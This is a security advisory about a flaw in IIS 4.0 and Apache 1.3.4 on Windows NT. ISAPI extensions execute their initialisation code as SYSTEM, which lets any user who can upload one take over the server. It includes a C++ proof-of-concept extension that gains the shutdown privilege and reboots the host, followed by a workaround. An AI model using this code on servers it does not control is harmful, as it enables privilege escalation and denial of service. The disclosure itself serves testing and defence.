COMMAND
IIS
SYSTEMS AFFECTED
Win NT with IIS 4.0, Apache 1.3.4, etc.
PROBLEM
Fabien Royer found following. There's a vulnerability in IIS
(and other WEB servers executing as SYSTEM) that allows to execute
an ISAPI extension in the security context of the server itself
instead of the security context of IUSR_WHATEVER. How is this
possible: when the server loads an ISAPI extension the first time,
it calls GetExtensionVersion(). During the call to this function,
an attacker can execute any code as SYSTEM. This is a problem if
you're an ISP doing hosting with web servers offering ISAPI
support (IIS, Apache 1.3.4, etc.) because any user allowed to
place a "CGI" on the server can take over. Of course, this
problem is not limited to ISPs.
How to test your servers? Using VC++, create an ISAPI extension
project and call it CRbExtension. Replace GetExtensionVersion()
and Default() with the code below. Compile it to something
simple, like rb.dll. Place it on your web server and invoke it
from your browser like this
http://your.machine.name/scripts/rb.dll?
Note: if you are using IE4.0, don't call this from the machine
that is running the web server otherwise, the next time you log
in, IE will recall the last URL and you'll reboot again. Code:
BOOL CRbExtension::GetExtensionVersion(HSE_VERSION_INFO* pVer)
{
HANDLE hToken; // handle to process token
TOKEN_PRIVILEGES tkp; // pointer to token structure
// Get the current process token handle so we can get shutdown privilege.//
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);
// Get the LUID for shutdown privilege.
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Get shutdown privilege for this process.
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);
ExitWindowsEx(EWX_REBOOT,0);
// Disable shutdown privilege. tkp.Privileges[0].Attributes = 0;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);
// Call default implementation for initialization
CHttpServer::GetExtensionVersion(pVer);
// Load description string
TCHAR sz[HSE_MAX_EXT_DLL_NAME_LEN+1];
ISAPIVERIFY(::LoadString(AfxGetResourceHandle(),IDS_SERVER, sz,HSE_MAX_EXT_DLL_NAME_LEN));
_tcscpy(pVer->lpszExtensionDesc, sz);
return TRUE;
}
void CRbExtension::Default(CHttpServerContext* pCtxt)
{
StartContent(pCtxt);
WriteTitle(pCtxt);
*pCtxt << _T("Reboot<br>");
EndContent(pCtxt);
}
SOLUTION
The workaround is to NEVER give users (or customers) the ability
to use ISAPI extensions if you allow them to upload CGIs to
customize their home page.